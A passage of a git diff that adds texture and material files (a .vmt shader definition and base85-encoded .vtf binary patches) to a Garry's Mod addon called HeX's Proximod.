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 W(fhR+=daN3vmBql-rw6o-v0|iQ)eUq literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade_add.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade_add.vmt new file mode 100644 index 0000000..a670907 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade_add.vmt @@ -0,0 +1,7 @@ +"UnlitGeneric" +{ + "$basetexture" "proxi/beacon_bigcircle_shade_add" + "$additive" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade_add.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade_add.vtf new file mode 100644 index 0000000000000000000000000000000000000000..dde59979027a320dd65a53f6a85134353a0c0022 GIT binary patch literal 43912 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

  • +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 